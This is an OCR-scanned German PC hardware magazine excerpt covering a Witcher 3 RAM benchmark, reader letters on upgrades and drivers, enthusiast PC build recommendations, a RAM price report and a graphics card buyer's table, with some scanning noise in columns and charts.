Hauptspiels, zudem ist die Sicht- 
weite um die luftig gelegene Positi- 
on um das Schloss sehr hoch - ein 
gutes Szenario für einen Speicher- 
test. Denn neben herumlaufenden 
NPCs, deren Kleidung und Sound- 
Daten muss die Engine auch die 
umliegenden Bereiche laden und 
anzeigen. Die Engine nutzt dazu 


ein ausgefeiltes Streaming, welches 
die Landschaft in kleine Quader 
teilt und deren Inhalte dynamisch 
verwalten kann. The Witcher 3 
belegt für die Darstellung der weit- 
läufigen Fantasy-Areale erstaunlich 
wenig Grafikspeicher, der RAM 
wird indes stärker gefordert. 


Beim Reiten durch die Straßen 
fällt mit nur 4 GiByte RAM lästiges 
Stocken auf. Das ist sehr störend, 
allerdings ist das Rollenspiel so im- 
merhin noch halbwegs genießbar. 
Ein zweiter 4-GiByte-Riegel löst 
das Problem praktisch vollständig, 
weiterer Speicher bringt nur sehr 
begrenzte Vorteile. Bei Mischbe- 
stückung heißt es aufpassen! The 
Witcher 3 kommt mit unserer Kon- 
figuration von 1 x 4 GiByte und 2 x 
8 GiByte gar nicht gut zurecht, die 
Ruckler sind ähnlich lästig wie mit 
nur 4 GiByte. Mit jeweils zwei Mo- 
dulen sieht's besser aus. (pr) 


Fazit Hardware 


So klar wie möglich: 

Eine sinnvolle Menge RAM festzule- 
gen, ist gar nicht so simpel: Gut, mit 
4 GiByte will keiner spielen, da sind 
wir relativ sicher. Schwieriger wird es 
bei der Frage: 8 oder 16 GiByte? Wir 
tendieren stark zu Letzterem, auch mit 
Blick in die Zukunft. 32 GiByte sind 
nett, aber (noch) unnötig. Mischbe- 
stückung kann sich negativ auswirken. 


Zweimal 4 GiByte gegen zwei 8-GiByte-Riegel 


Mischbestückung im Vergleich 


The Witcher 3 - 1.920 x 1.080, „Beauclair Extended”, Ultra, GW aus 
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The Witcher 3 - 1.920 x 1.080, „Beauclair Extended”, Ultra, GW aus 
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Zeit in Sekunden 
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System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz, 10 GT/s), Gef. 376.33 WHQL Be- 
merkungen: 2 x 4 GiByte — Ø-FT: 9,7 ms; 1-Percentile: 13,8 ms; Ø-Fps: 103,1; 2 x 8 GiByte — Ø-FT: 9,6 ms, 
1-Percentile: 13,6 ms; Ø-Fps: 104,2 Fps; Ob 2 x 4 oder 2 x 8 GiByte kümmert den Hexer nur sehr begrenzt. 


System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz, 10 GT/s), Gef. 376.33 WHQL Bemer- 
kungen: 2 x 4 + 1 x 8 GiByte — O-FT: 9,7 ms; 1-Percentile: 17,1 ms; Ø-Fps: 103,1; 2 x 8 + 2 x 4 GiByte — 
Ø-FT: 9,6 ms, 1-Percentile: 13,5 ms; Ø-Fps: 104,2 Fps; Mischkonfigurationen sind negativ zu bewerten. 
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Auflósung durch PCI-E 2.0 begrenzt? 

Ich habe ein Asus P7P55D mit PCI-Express 2.0 
und eine AMD Radeon HD 7750 für den PCI-Ex- 
press-3.0-Slot. An meinem Samsung Syncmaster 
T260HD (1.920 x 1.200) funktioniert alles gut. 

Ich beabsichtige, den LG 38UC99-W an die 
Grafikkarte anzuschließen. Wird der LG-Moni- 
tor bei maximaler Auflösung (3.840 x 1.600) an 
meiner Grafikkarte funktionieren? Muss ich we- 
gen PCI-Express 2.0 mit Einschränkungen und 
Problemen rechnen? 

Christian K., per E-Mail 


Stephan Wilke: Ihr Vorhaben sollte grundsátz- 
lich funktionieren. Eine Radeon HD 7750 kann 
gemäjs der AMD-Spezifikation mittels Display 
Port 1.2 maximal 4.096 x 2.160 Bildpunkte bei 
60 Hz ausgeben. Der LG Electronics 38UC99-W 
verfügt über Display Port 1.2, insofern ist das 
die beste Verbindungsmethode. Alternativ wáre 
ein Betrieb über HDMI möglich, falls Ihre Rade- 
on HD 7750 über keinen Display Port verfügt. 
Hier liegt das Limit ebenfalls bei 4.096 x 2.160 
Pixeln, aber nur 30 Hz, was zu einer weniger 
flüssigen Darstellung führt. PCI-Express 2.0 
stellt Rein Hindernis dar, wie ich aus eigener Er- 
Jahrung berichten kann: In einem PC im Fami- 
lienkreis kommt ebenfalls ein P55-Mainboard 
von Asus zum Einsatz, die verbaute PCI-Ex- 
press-3.0-Grafikkarte steuert via Display Port 
ein Ultra-HD-Display in nativer Auflósung mit 
60 Hz an. Sie haben vermutlich andere Pläne, 
aber der Vollstándigkeit zuliebe sei gesagt, dass 
eine Radeon HD 7750 zum Spielen in der Auf- 
lósung 3.840 x 1.600 sehr schlecht geeignet ist. 
Sowohl die Rechenleistung als auch die Menge 
des Grafikspeichers sind für diesen Zweck un- 
zureichend. 


Noctua-Lüfter für Quad-Radiator? 

Ich móchte fragen, ob ihr mal wieder einen 
Test von speziell für Radiatoren gedachten Lüf- 
tern machen kónnt. Ich móchte gerne meinem 
480er-Radiator neue Lüfter spendieren und 
schwanke zwischen dem Noctua NF-F12 PWM 
und dem Noctua NF-S12A PWM. Könnt ihr mir 
einen von beiden oder einen anderen Hersteller 
empfehlen? Sie sollen saugend auf meinem Radi- 
ator montiert werden und leise sein. 

Jan K., per E-Mail 
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Community 


Leserbriefe 


Außer über unsere Webseite www.pcgh.de und unser Forum 


www.pcghx.de können Sie selbstverständlich auch per E-Mail an 


leserpost@pcgameshardware.de mit uns Kontakt aufnehmen. 


Torsten Vogel: Zu diesem Thema empfehle 
ich die große 120-mm-Lüftermarktübersicht 
in der aktuellen PCGH 12/2016 - wie bei allen 
PCGH-Lüftertests der leizten Jahre mit Messung 
auf einem Nexxxos-XT45-Radiator. Im direkten 
Vergleich nur der beiden genannten Modelle lie- 
fert aber sogar der Hersteller selbst die Antwort: 
Der NF-S12A ist als expliziter Gehäuselüfter für 
Einsatzorte gedacht, an denen quasi kein Ge- 
gendruck überwunden werden muss und somit 
das genaue Gegenteil eines für Radiatoren opti- 
mierten Lüfters. 


CPU oder Grafikkarte aufrüsten? 
Ich möchte meinen PC aufrüsten, der folgen- 
dermaßen aussieht: 


I Core 15-4460 
I Asrock H81M 
I Asus Geforce GTX 950 OC 2G 


Einen Gigabyte Z97 Gaming 3 habe ich schon 
gekauft. Jetzt frage ich mich, ob ich mir eher ei- 
nen Core i7-4790K oder eine Asus Geforce GTX 
1060 zulegen soll, da ich mir nur eine von bei- 
den Komponenten leisten kann. Ich spiele Titel 
wie Call of Duty Infinite Warfare und werde ab 
dem nächsten Jahr viel mit Auto CAD arbeiten. 
Manuel S., per E-Mail 


Stephan Wilke: Was die spezifischen Anforde- 
rungen von Auto CAD angeht, kann ich Ihnen 
mangels eigener Testergebnisse/Erfahrungen 
leider nicht weiterhelfen. Aus der Sicht eines 
Spielers ist die Sache allerdings klar: Während 
der Core i7-4790K dank SMT, höherem Takt und 
mehr L3-Cache eine etwa 40 Prozent höhere 
Rohleistung als der Core i5-4460 bietet, erzielt 
eine Geforce GIX 1060 unseren Messungen 
zufolge bereits in Full HD oft doppelt so hohe 
Bildraten wie eine Geforce GTX 950. Aufgrund 
des mit 2 GiByte knapp bemessenen Grafikspei- 
chers gerät die GTX 950 bei neuen Titeln immer 
häufiger ins Straucheln. Da in den meisten ak- 
tuellen Spielen bei hohen/maximalen Details 
und Full HD oder höher die Grafikkarte (und 
nicht der Prozessor) der Flaschenhals ist, wür- 
de sich der Kauf der GTX 1060 für Sie bestimmt 
lohnen. Greifen Sie aber unbedingt zur Version 
mit 6 GiByte, da nur diese eine der Rechenlei- 


stung angemessene Speicherausstattung bietet 
und Ihnen gerade langfristig mehr Freude be- 
reiten wird. 


Haswell: Wie Windows XP installieren? 
Ich möchte Windows XP Professional 32 Bit 
auf dem Sockel-1150-Mainboard Asus Z97-A 
installieren, finde aber keine Hilfe. Ich benö- 
tige den SATA-Treiber für den Intel Z97, den 
Windows bei der Installation verlangt und ohne 
den ich keinen Zugriff auf die SATA-Laufwerke 

bekomme. Was kann ich tun? 
J. R., per E-Mail 


Stephan Wilke: Da Windows XP bei dieser 
Plattform nicht mehr offiziell unterstützt wird, 
ist zusätzlicher Aufwand erforderlich, um das 
Betriebssystem zu installieren. Sie benötigen an- 
scheinend modifizierte SATA-Treiber, die Sie am 
besten in das Installationsmedium integrieren, 
sodass sie während des Setup-Prozesses direkt 
zur Verfügung stehen. Falls Sie Windows XP für 
einen bestimmten Zweck unbedingt benötigen, 
kann sich der Aufwand lohnen. Möglicherweise 
stellt aber eine virtuelle Maschine mit Windows 
XP die bessere Lösung für Sie dar. Die könnten 
Sie nämlich auch in einem aktuellen Betriebssy- 
stem nutzen, das im Gegensatz zu Windows XP 
sicherheitsrelevante Aktualisierungen enthält 
und damit guten Gewissens mit dem Internet 
verbunden werden kann. 


PC Games Hardware Online; 
wichtige Dienste und Partner 


Alternate: Soll es eine neue Grafikkarte oder ein 
PCGH-PC sein? Besuchen Sie den größten IT-Händler in 
Deutschland! www.pcgh.de/alternate 

Der PCGH-PC: Wenn Sie auf der Suche nach einem gut 
abgestimmten Rechner sind, kommen Sie um die PCGH- 
PCs kaum herum. www.pcgh-pc.de 


® Abos online bestellen: 
www.pcgh.de/shop 


JP PCGH als Digitalausgabe: 
pcgh.de/digital-ausgabe 


JP Einzelheft bestellen: 
www.pcgh.de/heft 


www.pcgameshardware.de 


www.pcgh.de/print 


Die Leserbriefe geben nicht die Meinung der Redaktion wieder. Die Redaktion behält sich 


außerdem vor, Leserbriefe zu kürzen. 
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Worte des Monats 


„Die Ага von Spaß und Spielen ist vorbei. [...] 
Technologie macht Spaf, Politik aber nicht. " 


Sicherheits- und Kryptografie-Experte Bruce Schneier auf dem Magenta Security Congress 
2016 — er fordert verbindliche Sicherheitsstandards und einen stärkeren Austausch zwischen 
Technologie-Experten und der Politik, um das Internet der Dinge abzusichern. 


Bild des Monats 


Rossis Restekiste 


Zeiteisen 


Eine Armbanduhr braucht und hat irgendwie jeder. Leider sind diese Dinger 
stets etwas ... àh... nennen wir es ,retro", vom Aussehen her. Selbst moderne 
Smartwatches sehen so schrecklich alltäglich aus. Dabei muss das gar nicht sein. 
Die Firma Tokyoflash ist berühmt für abgefahrene, unverwechselbare Uhren. Das 
Model „Kisai X" macht da keine Ausnahme. Zu haben ist das gute Stück in Chrom 
oder Schwarz. Statt der üblichen Batterie besitzt sie einen Akku, welcher über USB Š `- 
geladen werden kann. Schon nach wenigen Stunden Handbuchstudium sollte man Watch Dogs 2 dreht sich um Hacker, doch lauffähige Rechner benötigen sie offensicht- 
sogar die Uhrzeit ablesen können. Ein echter Hingucker ist sie auf jeden Fall. lich nicht. Ein Gigabyte GA-P67A-D3-B3 diente als Ausgangsbasis für diese Wand- 
http://www.tokyoflash.com dekoration, bei der die wirr angelegte Wasserkühlung noch das kleinste Problem ist. 


маа 


Bild: https://i.redd.it/deipogbeog1y.png (von https://www.reddit.com/user/seansinha) 
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Projekt-PCs: Enthusiast 


In jeder Ausgabe stellt die PC Games Hardware zwei Beispielkonfigurationen zusammen, an denen 


Sie sich orientieren kónnen, um einen eigenen PC zu bauen. 


` ist wohl der schlechteste 
eitpunkt, um sich einen neu- 
en Mittelklasse-PC anzuschaffen. 
Bei Intel steht Kaby Lake-S zusam- 
men mit neuen Mainboards vor der 
Tür, bei AMD die AM4-Plattform 
mit den ersten (RyJZen-CPUs in 


Sechskerner 


Form von Summit Ridge. Wir nut- 
zen diese Ausgabe daher, um zwei 
High-End-Konfigurationen für 
Intels Sockel 2011-v3 vorzustellen. 
Diese soll erst zum Herbst 2017 hin 
vom Sockel 2066 mit Kaby Lake-X 
und Skylake-X abgelóst werden. AL 


tersschwächen wie fehlendes USB 
3.1 werden durch Zusatzcontroller 
wettgemacht. In der linken Spalte 
finden Sie ein aus Preisleistungs- 
sicht durchaus vertetbares System 
basierend auf dem Core i7-6800K. 
In der rechten Spalte haben wir 


Achtkerner 


Komponenten ausgesucht, die alle- 
samt etwas teurer sind, dafür aber 
noch das letzte Quántchen Leistung 
mit sich bringen. Interessant ist ein 
solcher Rechner, wenn man nicht 
genug CPU-Threads haben kann, 
beispielsweise zum Rendern. (mm) 


Komponente 


Hersteller und Produkt 


Komponente 


Hersteller und Produkt 


Prozessor 


Intel Core i7-6800K 


Prozessor 


Intel Core i7-6900K 


CPU-Kühler 


Thermalright HR-02 Macho Rev. B 


CPU-Kühler Noctua NH-D15 


Grafikkarte (Nvidia) 


KFA2 Geforce GTX 1070 EX 


Grafikkarte (Nvidia) 


Palit Geforce GTX 1080 Gamerock 


Mainboard MSI X99A Raider 


Mainboard Asrock X99 Taichi 


Arbeitsspeicher 


Crucial Ballistix Sport, 2 x 8 GiB, DDR4-2400 


Arbeitsspeicher 


G.Skill Ripjaws 4, 4 x 8 GiB, DDR4-2400 


SSD Crucial MX300 525 GB 


SSD Samsung SSD 960 Evo 500 GB 


HDD 


Seagate Desktop HDD 3 TB 


HDD 


Seagate Desktop HDD 3 TB 


Netzteil 


Gesamtpreis (ab) 


Core i7-6800K + MSI X99A Raider 
Der Core i7-6800K bildet Intels Einstieg 
in die High-End-Welt und stellt den 
günstigsten Sechskerner für den Sockel 
2011-v3 dar. Das MSI X99A Raider ist 
eine solide Mainboard-Basis mit al- 
len notwendigen Funktionen inklusive 
zweier USB-3.1-Anschlüsse (je 1 x Typ 
A und Typ C), ohne die 200-Euro-Marke 
zu überschreiten. 


KFA2 Geforce GTX 1070 EX 

KFA2s EX-Modell stellt die günstigste 
GTX 1070 dar. Trotzdem ist sie mit einer 
guten Kühllósung ausgestattet, die unter 
Last nicht unangenehm laut wird. Eine 
Übertaktung ab Werk sucht man verge- 
bens, diese lásst sich aber manuell und 
auf eigene Gefahr über eine Anhebung 
des Powertargets durchführen. Eine 
AMD-Alternative gibt es aktuell nicht. 


Seasonic G-550 PCGH-Edition 550 Watt 


Quelle: KFA2 


Alternativ-Komponenten 


I Core i7-6850K mit zusätzlichen PCI-Express-Lanes, falls SLI oder 
Crossfire geplant sind (PCGH rät davon ab) 


I Geforce GTX 1080, sofern ein höheres Budget zur Verfügung steht 
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Netzteil 


Gesamtpreis (ab) 


Core i7-6900K + Asrock X99 Taichi 
Beim Core i7-6900K sind acht der zehn 


physisch vorhandenen CPU-Kerne aktiv. 4 


Mit einem Preisschild von rund 1.100 
Euro lásst sich das Intel allerdings auch 
fürstlich vergüten. Das X99 Taichi aus 
dem Hause Asrock bietet als Anführer 
unserer Mainboard-Bestenliste alle 
aktuellen Anschlüsse und Komfortfunk- 
tionen. 


Samsung SSD 960 Evo 

M.2-SSDs, die über vier PCI-Express- 
3.0-Bahnen angebunden werden und 
im Vergleich zu SATA-6Gbit/s-Modellen 
deutlich höhere Übertragungsraten er- 
reichen, werden immer zahlreicher. Mit 
der SSD 960 Evo hat Samsung ein ver- 
gleichsweise günstiges Modell im Port- 
folio, das High-End-Datenträgern kaum 
nachsteht. 


Be quiet Dark Power Pro 11 650 Watt 


€ 2.785,- 


Alternativ-Komponenten 


I Core i7-6900K mit den restlichen Komponenten aus der linken 


Spalte, um Geld zu sparen 


I Nvidia Titan X-Pascal (ausschließlich über www.nvidia.de beziehbar) 


www.pcgameshardware.de 


Einkaufsführer 


Preisentwicklung und Kauftipps www.pcgh.de/einkaufsfueh 


RAM-Preise 
ziehen stark an 


Wer seinem PC ein Upgrade spendieren möchte, 
muss beim Unterbau mit höheren Kosten als noch 
vor etwa einem halben Jahr rechnen. Während sich 
CPU- und Mainboard-Preise konstant halten, ist 
RAM in den vergangenen Monaten deutlich teurer 
geworden. Das betrifft vor allem Kits mit niedri- 
geren Taktraten - sowohl bei DDR4 als auch DDR3. 


ie Befürchtungen vom vergangenen Som- 

mer bewahrheiten sich: Waren DDR4- 
und DDR3-Arbeitsspeicher zum Jahresanfang 
noch erfreulich günstig, sind die Preise in den 
letzten Monaten wieder stark angestiegen. Dieses 
Mal ist das nicht auf einen schwachen Eurokurs 
zurückzuführen, sondern auf eine erhöhte Nach- 
frage nach Speichermodulen. Vor allem in den 
Mobile- und Server-Bereichen soll der Bedarf stei- 
gen. In Zeiten, in denen selbst Mittelklasse-Smart- 


Bild: Aidbox 


phones schon mit 4 GiByre RAM ausgestattet ver" Preisentwicklung Crucial DDR4-2133-Kit (2 х 8 GiByte) 
den, verwundert das nicht. Am Ende bleibt also 
weniger Speicher für den Desktop-Markt übrig, 220 196,71 Euro 
was die Preise in die Hóhe treibt. 200 —— 
180 К 
Relativ gesehen legen vor а Пет die Einsteiger- e 160 crucial 
Kits mit niedrigen Taktraten zu. Hat ein DDRÁ- D 440 
2133-Satz mit 2 x 8 GiByte im März noch rund 50 я 120 
bis 60 Euro gekostet, sind es heute mindestens E 308 
90 - über 50 Prozent mehr. Absolut gesehen 
sind DDR4-2400- bis -3200-Kits genauso viel teu- m 
rer geworden. Daher lohnt sich weiterhin der e 50,34 Euro 
Kauf von etwas schnelleren Modulen, die meis- 40 O82014 WP 
tens per XMP-Profil innerhalb ihrer vorgesehe- Zeit 
nen Spezifikationen betrieben werden kónnen. 


DDR3 nähert sich indes seinem Lebensabend. 


Aufrüster von Interesse, die ihr altes System auf Aktuelle RAM-Preise (gerundet, Quelle: geizhals.at) 


16 oder 32 GiByte aktualisieren wollen. AMÁ 16 GiB DDR4-Preise Euro/GiB DDR3-Preise Euro/GiB 

wird die letzten verbliebenden DDR3-Plattfor- 1333 - - 100 € 6,25 € 

men ablósen, die noch aktiv unterstützt werden 1600 5 Е 85€ 531€ 

(AM3+, FM2+). Schnelle DDR3-Kits kosten weit 1866 : - 110€ 6,88 € 

über 100 Euro. 2133 90 € 5,63 € 115€ 7,19€ 
2400 95€ 5,94 € 110 € 6,88 € 

Speicherriegel mit 1.700 MHz oder mehr wer- 2666 100€ 6955 150€ 9,38 € 

den indes wieder rarer. Vor einem halben Jahr 2800 100€ 625€ 

konnte man zahlreiche DDR4-3400-Kits mit Goen TUE PEB = 7 s 

2 x 8 GiByte für 100 Euro erstehen. Jetzt gibt es 

nur noch drei Stück für etwa 140 Euro - danach zu US 6,86 € - - 

schießen die Preise mit 180 Euro und mehr in ш ЕЕ BUDE Ë = 

die Höhe. (mm) 3600 140 € 8,75 € - - 
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Hëttueg EISPAR-TIPP 


LEITER PREIS-LEISTUNGS-TIPP 


Benotung auf Basis der aktuellen PCGH-Testmethodik mit neuen Grafiktreibern 


Nvidia Geforce Circa- Grafik- 3D-Taktung Verbrauch Länge/ А Benötigte Lautheit Test in 
Preis | speicher (GPU-Boost/RAM) | (2D/3D/Ernstfall) | (Slot-)Breite | Stromstecker | (2D/3D/Ernstfall) PCGH 
Zotac GTX 1080 AMP! Extreme €700,- | 8.192 MiB | 1.987+/1.350 MHz | 10/259/275 Watt | 31,2/5,0 cm | 2x 8-Pol 0,0/1,7/1,9 Sone 173 08/2016 | www.pcgh.de/preis/1449220 
Gainward GTX 1080 Phoenix СІН | € 700,- | 8.192 МІВ .9114/1.315 MHz | 8/219/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,75 08/2016 | www.pcgh.de/preis/1456253 
Palit GTX 1080 Game Rock Prem. | € 710,- | 8.192 MiB .9114/1.315 MHz | 8/220/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,77 08/2016 | www.pcgh.de/preis/1449283 
EVGA GTX 1080 FTW ACX 3.0 €700,- | 8.192 MiB | 1.936+/1.251 MHz | 12/237/247 Watt | 27,3/3,5 cm | 2x 8-Pol 0,0/2,4/2,4 Sone 1,79 08/2016 | www.pcgh.de/preis/1449255 
Inno 3D GTX 1080 iChill X3 Є 680,- | 8.192 MiB .9494./1.301 MHz | 12/237/239 Watt | 30,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,9/1,9 Sone 1,80 08/2016 | www.pcgh.de/preis/1449258 
MSI GTX 1080 Gaming X 8G €710,- | 8.192 MiB | 1.886+/1.251 MHz | 13/235/245 Watt | 27,7/3,5 cm x 8-/1x 6-Pol | 0,0/2,3/2,3 Sone 1,81 08/2016 | www.pcgh.de/preis/1449271 
Asus GTX 1080 Strix OC €810,- | 8.192 MiB .898+/1.251 MHz | 8/199/202 Watt 29,9/3,6 cm x 8-/1x 6-Pol | 0,0/3,6/3,6 Sone 1,82 08/2016 | www.pcgh.de/preis/1449229 
Gigabyte GTX 1080 G1 Gaming €680,- | 8.192 MiB | 1.810+/1.251 MHz | 9/200/201 Watt 28,1/3,5 cm x 8-Po| 0,0/4,1/4,1 Sone 1,86 08/2016 | www.pcgh.de/preis/1449277 
Palit GTX 1070 Game Rock Prem. | €520,- | 8.192 MiB .936+/4.253 MHz | 9/171/174 Watt 28,5/5,2 cm x 8-Po 0,0/0,8/0,8 Sone 1,99 08/2016 | www.pcgh.de/preis/1456802 
Zotac GTX 1070 AMP! Extreme €500,- | 8.192 MiB | 1.987+/4.104 MHz | 12/219/253 Watt | 31,2/5,0 cm | 2x 8-Ро 0,0/1,6/1,9 Sone 1,99 09/2016 | www.pcgh.de/preis/1456755 
Inno 3D GTX 1070 iChill X3 € 480,- | 8.192 MiB .949+/4.104 MHz | 10/190/192 Watt | 30,2/4,5 cm x 8-Po 0,0/1,5/1,5 Sone 2,04 09/2016 | www.pcgh.de/preis/1450744 
Asus GTX 1070 Strix OC € 500,- | 8.192 MiB .911+/4.007 MHz | 8/166/167 Watt 29,9/3,5 cm x 8-Po 0,0/1,8/1,8 Sone 2,05 08/2016 | www.pcgh.de/preis/1450613 
EVGA GTX 1070 SC ACX 3.0 €450,- | 8.192 MiB | 1.772+/4.007 MHz | 8/149/153 Watt 26,7/3,5 cm x 8-Po| 0,0/0,7/0,7 Sone 2,05 09/2016 | www.pcgh.de/preis/1456822 
MSI GTX 1070 Gaming X 8G € 490,- | 8.192 MiB .924+/4.007 MHz | 11/208/208 Watt | 27,7/3,5 cm x 8-/1x 6-Pol | 0,0/1,4/1,4 Sone 2,06 08/2016 | www.pcgh.de/preis/1456552 
Gigabyte GTX 1070 G1 Gaming €460,- | 8.192 MiB | 1.873+/4.007 MHz | 9/181/182 Watt 28,1/3,5 cm x 8-Po| 0,0/3,5/3,5 Sone 2,09 09/2016 | www.pcgh.de/preis/1450713 
Asus GTX 1060 Strix OC € 330,- | 6.144 MiB .987+/4.104 MHz | 8/145/145 Wa 30,0/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,40 10/2016 | www.pcgh.de/preis/1478721 
MSI GTX 1060 Gaming X 6G €340,- | 6.144 MiB | 1.949+/4.007 MHz | 8/146/146 Watt 27,7/3,5 cm x 8-Po| 0,0/0,7/0,7 Sone 2,42 10/2016 | www.pcgh.de/preis/1478791 
Gigabyte GTX 1060 G1 Gaming € 300,- | 6.144 MiB .962+/4.007 MHz | 9/153/153 Wa 27,9/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,45 10/2016 | www.pcgh.de/preis/1479045 
Zotac GTX 1060 AMP! €300,- | 6.144 MiB | 1.848+/4.007 MHz | 9/121/123 Watt 21,1/3,4 cm x 8-Po| 0,0/1,0/1,0 Sone 2,45 10/2016 | www.pcgh.de/preis/1478147 
Gainward GTX 1060 Phoenix GS € 300,- | 6.144 MiB .860+/4.007 MHz | 6/124/125 Wa 24,6/4,8 cm x 6-Po 0,0/1,4/1,4 Sone 2,47 10/2016 | www.pcgh.de/preis/1478764 
Palit GTX 1060 Super Jetstream €310,- | 6.144 МІВ .860--/4.007 MHz | 6/123/125 Wa 24,8/4,8 cm x 6-Po 0,0/1,3/1,3 Sone 2,49 10/2016 | www.pcgh.de/preis/1478641 
EVGA GTX 1060 SC Gaming €280,- | 6.144 MiB | 1.898+/4.007 MHz | 6/122/125 Watt 18,2/3,5 cm x 6-Рој 0,0/2,5/2,5 Sone 2,53 10/2016 | www.pcgh.de/preis/1479077 
Palit GTX 1060 3GB Dual € 220,- | 3.072 MiB .848+/4.007 MHz | 6/126/127 Wa 25,3/3,4 cm x 6-Po 0,1/1,4/1,4 Sone 2,70 01/2017 | www.pcgh.de/preis/1480332 
KFA? GTX 1060 3GB OC €210,- | 3.072 MiB | 1.810+/4.007 MHz | 9/122/123 Watt 23,4/3,5 cm x 6-Po| 0,3/1,5/1,5 Sone 2:73 01/2017 | www.pcgh.de/preis/1494969 
Zotac GTX 1060 3GB Mini € 200,- | 3.072 MiB .797+/4.007 MHz | 9/120/120 Wa 17,5/3,4 cm x 6-Po 1,2/3,4/3,4 Sone 2,76 01/2017 | www.pcgh.de/preis/1495006 
Asus GTX 1050 Ti Strix O4G €190,- | 4.096 MiB | 1.797+/3.504 MHz | 8/76/92 Watt 24,1/3,5 cm x 6-Po| 0,0/0,8/0,9 Sone 2,79 01/2017 | www.pcgh.de/preis/1527166 
Gigabyte GTX 1050 Ti G1 Gaming | € 180,- | 4.096 MiB .645+/3.504 MHz | 8/67/68 Watt 22,0/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 2,82 01/2017 | www.pcgh.de/preis/1526013 
MSI GTX 1050 Ti Gaming X 4G €180,- | 4.096 MiB | 1.734+/3.504 MHz | 5,5/75/76 Wat 22,9/3,5 cm x 6-Po| 0,0/0,3/0,3 Sone 2,86 01/2017 | www.pcgh.de/preis/1524111 
EVGA GTX 1050 Ti SC Gaming € 165,- | 4.096 MiB .557+/3.504 MHz | 6/56/59 Watt 15,2/3,5 cm 0,2/0,4/0,4 Sone 2,93 01/2017 | www.pcgh.de/preis/1525248 
Zotac GTX 1050 Ti OC Edition € 165,- | 4.096 MiB .658+/3.504 MHz | 6/58/58 Watt 16,0/3,5 cm 1,0/1,5/1,5 Sone 2,94 01/2017 | www.pcgh.de/preis/1525243 
Asus GTX 1050 Expedition € 140,- | 2.048 MiB | 1.493+/3.504 MHz | 6/55/55 Watt 21,1/3,5 cm |- 0,0/0,5/0,5 Sone 3,13 01/2017 | www.pcgh.de/preis/1525209 
AND Radeon Seine = 
AMD R9 Fury X* €400,- | 4.096 MiB | 1.050/1.000 MHz 21/346/385 Wa 19,5/3,3 ст | 2x 8-Pol 1,3/1,6/1,6 Ѕопе 2,44 09/2015 | www.pcgh.de/preis/1285955 
MSI RX 480 Gaming X 8G €290,- | 8.192 MiB | 1.303/4.000 MHz 8/209/225 Wa 27,5/3,5 cm x 8-Po 0,0/2,2/2,4 Sone 2,48 0/2016 | www.pcgh.de/preis/1473074 
Asus R9 Fury Strix € 330,- | 4.096 MiB 970+/1.000 MHz 2/267/274 Wa 30,0/3,5 ст | 2x 8-Po 0,0/2,6/3,1 Sone 2,53 09/2015 | www.pcgh.de/preis/1296495 
Sapphire RX 480 Nitro-- OC 8GB €270,- | 8.192 MiB | 1.300+/4.000 MHz | 14/215/230 Wa 24,0/3,5 cm x 8-Po 0,0/5,4/6,6 Sone 2,54 0/2016 | www.pcgh.de/preis/1477778 
Asus RX 480 Strix OC €300,- | 8.192 MiB | 1.260+/4.000 MHz | 18/179/180 Wa 30,0/3,5 cm x 8-Po| 0,0/4,2/4,2 Sone 2,55 0/2016 | www.pcgh.de/preis/1479631 
Asus R9 Nano White €410,- | 4.096 MiB | 850+/1.000 MHz 4/198/205 Wa 15,3/3,5 cm x 8-Po 0,8/2,9/2,9 Sone 2,57 06/2016 | www.pcgh.de/preis/1355032 
Powercolor RX 480 Red Devil € 270,- | 8.192 MiB 1.190+/4.000 MHz 8/199/200 Wa 30,0/3,5 cm x 8-Po 0,0/2,3/2,3 Sone 2,59 0/2016 | www.pcgh.de/preis/1480295 
XFX RX 480 GTR Black Edition € 280,- | 8.192 MiB .320+/4.000 MHz 7/190/203 Wa 28,4/3,5 cm x 8-Po 0,0/4,6/4,7 Sone 2,60 0/2016 | www.pcgh.de/preis/1485555 
Sapphire RX 480 Nitro+ 4D5 OC € 230,- | 4.096 MiB | 1.306/3.500 MHz 4/207/220 Wa 24,0/3,5 cm x 8-Po| 0,0/4,2/5,0 Sone 2,64 0/2016 | www.pcgh.de/preis/1477762 
Sapphire RX 470 Nitro+ 4D5 OC €210,- | 4.096 MiB | 1.220+/3.500 MHz 5/195/209 Wa 24,0/3,5 cm x 8-Po| 0,0/2,5/2,7 Sone 2,70 01/2017 | www.pcgh.de/preis/1483308 
MSI RX 470 Gaming X 4G € 200,- | 4.096 MiB .242/3.300 MHz 6/188/222 Wa 27,5/3,5 cm x 8-Po 0,0/1,8/3,0 Sone 273) 01/2017 | www.pcgh.de/preis/1488427 
Gigabyte RX 470 G1 Gaming 4G € 195,- | 4.096 MiB | 1.230/3.300 MHz 22/184/185 Wa 23,4/3,5 cm x 8-Po| 0,0/2,4/2,4 Sone 2,76 01/2017 | www.pcgh.de/preis/1488416 
HIS RX 470 IceQ X? Turbo € 200,- | 4.096 MiB .100+/3.500 MHz 5/160/162 Wa 22,3/3,5 cm x 6-Po 0,0/1,5/1,5 Sone 2,78 01/2017 | www.pcgh.de/preis/1488555 
XFX RX 470 RS Black Edition €205,- | 4.096 MiB | 1.080+/3.500 MHz | 14/152/155 Wa 24,6/3,5 cm x 6-Po| 0,0/2,2/2,6 Sone 2,79 01/2017 | www.pcgh.de/preis/1488365 
Asus RX 470 Strix OC € 210,- | 4.096 MiB .050+/3.300 MHz | 16/146/151 Wa 24,2/3,5 cm x 6-Po 0,0/3,2/3,6 Sone 2,82 01/2017 | www.pcgh.de/preis/1488369 
Powercolor RX 470 Red Devil € 210,- | 4.096 MiB 1.125+/3.500 MHz 7/174/182 Wa 24,0/3,5 cm x 8-Po 0,0/4,6/4,7 Sone 2,84 01/2017 | www.pcgh.de/preis/1488318 
Sapphire R9 380X Nitro € 270,- | 4.096 MiB .040/3.000 MHz 5/239/250 Wa 23,5/3,5 cm | 2x 6-Po 0,0/2,4/2,5 Sone 2,89 01/2016 | www.pcgh.de/preis/1351755 
